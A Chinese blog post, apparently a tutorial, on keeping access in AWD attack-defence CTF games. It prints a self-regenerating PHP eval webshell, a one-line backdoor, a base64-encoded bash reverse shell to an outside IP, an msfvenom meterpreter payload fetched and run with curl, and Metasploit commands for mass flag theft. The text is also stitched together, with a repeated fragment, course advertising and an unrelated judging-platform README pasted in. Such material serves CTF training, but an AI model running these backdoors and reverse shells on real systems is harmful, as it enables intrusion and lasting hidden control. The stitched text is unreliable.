从红队视角看AWD攻击

AWD的权限维持

攻防兼备AWD模式是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。

在AWD需要权限维持,但通常情况下,我们使用不死马来维持权限:

<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__);     //删除自身
while(1)
{
    file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}
?>

上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php

但是这样有一些问题

防守方只要创建一个与不死马一样名字的文件夹即可终止不死马的创建

rm -rf shell.php && mkdir shell.php

并且若是对方安装日志记录等文件,对方对方便可获得你使用的shell地址和密码,反过来将这个shell利用在其他的机器上,俗称上车。

红队权限维持

在红蓝对抗模拟中,权限维持是指攻击方(红队)取得某些有限的访问权限或者获得某些信息后,需要继续保持这些权限的过程。因此,权限维持是在这种情况下必要的,以确保攻击方能够在之后的攻击行动中使用这些权限或信息。

在红队权限维持的时候,我们通常使用后渗透工具Metasploit、Cobalt
Strike等。由于AWD通常使用Linux,而Metasploit对windows和linux的兼容性都较好。这篇文章使用Metasploit来进行演示。

由于Metasploit工具有进程迁移,提权等操作,被入侵的服务器一般不容易发现自己已被入侵。这在AWD中刚好合适,并且可以使用Metasploit批量来获取FLAG。在实战中,即使站点文件全部被删除,站点已关闭,Metasploit的进程是依然存在的,这样就导致别的攻击方因为站点不存在无法攻击得分,而我们的进程依然存在从而得分,拉开比分的差距。

环境介绍

docker:https://github.com/Cl0udG0d/AWDDocker

使用了其中的Web1来进行演示

预设后门为:http://localhost:8000/?springbird=phpinfo();

docker build -t test/awd:v1.0 .

拿到主机权限

进行权限维持的第一步是拥有主机的权限

#index.php
<?php
    echo "hi!This is SpringBird";
    @eval($_REQUEST['springbird']);
?>

可以看到这个是最简单的一句话后门,刚好适合我们来演示

连接蚁剑
image

在服务器上开启一个nc监听

nc -lvp 1256

反弹shell

bash -c '{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvMTI1NiAwPiYx}|{base64,-d}|{bash,-i}'

image

接收到shell

image

使用Metasploit进行权限维持

使用Metasploit生成后门文件

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=你的IP LPORT=8887 -f elf > mshell.elf

之后启动一个python的http服务以供下载

python2 -m SimpleHTTPServer

启动监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123
set LPORT 8887
run

之后在刚才拿到权限的服务器下载该恶意文件。

curl -O http://123.123.123.123:8000/mshell.elf && chmod +x ./mshell.elf && ./mshell.elf&

image

可以看到该主机已经上线。

我们多上线几台服务器来模拟AWD环境

image

之后我们可以用sessions -c "cat /home/flag"来批量获取flag

image

最后,我们把一句话后门删除,权限依然存在。

总结一下用Metasploit进行AWD的权限维持批量获取flag更加方便,也更加稳定。

at /home/flag"来批量获取flag

[外链图片转存中…(img-0xHzamJ3-1676903687455)]

最后,我们把一句话后门删除,权限依然存在。

总结一下用Metasploit进行AWD的权限维持批量获取flag更加方便,也更加稳定。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

一个awd攻防比赛的裁判平台。 版本:beta v2.0 开发语言:python3 + django 平台分为两个部分 裁判机 靶机 通过特定接口,来实现靶机flag与服务器的通信 搭建流程 裁判机 安装所需环境 裁判机:python3+django 全局搜索woshiguanliyuan,并修改为随机字符串,此处为管理平台地址 /untitled/urls.py path('woshiguanliyuan/',views.admin,name='admin'), path('woshiguanliyuan/table/',views.admin_table,name='admin_table'), /app/views.py if 'woshiguanliyuan' not in request.META['HTTP_REFERER']: 第31和47换为你的目录 列:("/var/www/awd_platform/app/qwe.txt","a") 修改app/management/commands/init.py,添加用户 #['用户名','用户靶机token','用户靶机token'] user=[ ['123456','FF9C92C7SDFABB71566F73422C','FF9C92C7SDFABB71566F73422C'], ['aaabbb','311F8A54SV9K6B5FF4EAB20536','311F8A54SV9K6B5FF4EAB20536'] ] 修改/app/views.py第行d89f33b18ba2a74cd38499e587cb9dcd为靶机中设置的admin_token值的md5 if('d89f33b18ba2a74cd38499e587cb9dcd'==hl.hexdigest()): 运行 python3 manage.py init python3 manage.py manage.py runserver --insecure 靶机 安装所需环境 靶机:python+requests 修改send_flag.py参数,并将其放入靶机,设权限700。 靶机 sudo python send_flag.py。 靶机生成flag脚本,send_flag.py import requests import time import random import string import hashlib token='woshiwuxudong' # 红队 baji='311F8A54SV9K6B5FF4EAB20536' def getFlag(): #return ''.join(random.sample(string.ascii_letters + string.digits, 48)) m = hashlib.md5(''.join(random.sample(string.ascii_letters + string.digits, 48)).encode(encoding="utf-8")).hexdigest() return m while(1): f=open('/flag','w') flag=getFlag() f.write(flag) data={ 'flag':flag, 'token':token, 'baji':baji, } r=requests.post('http://127.0.0.1/caipanflag/',data=data) print(r.text) f.close() time.sleep(300) 重要须知 更新作者基础上: 1.增加flag验证一次性失效性,使得每个用户都并且仅可以提交一次flag 2.增加排名情况 3.flag改为MD5 4.增加丢失flag一轮扣100分
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值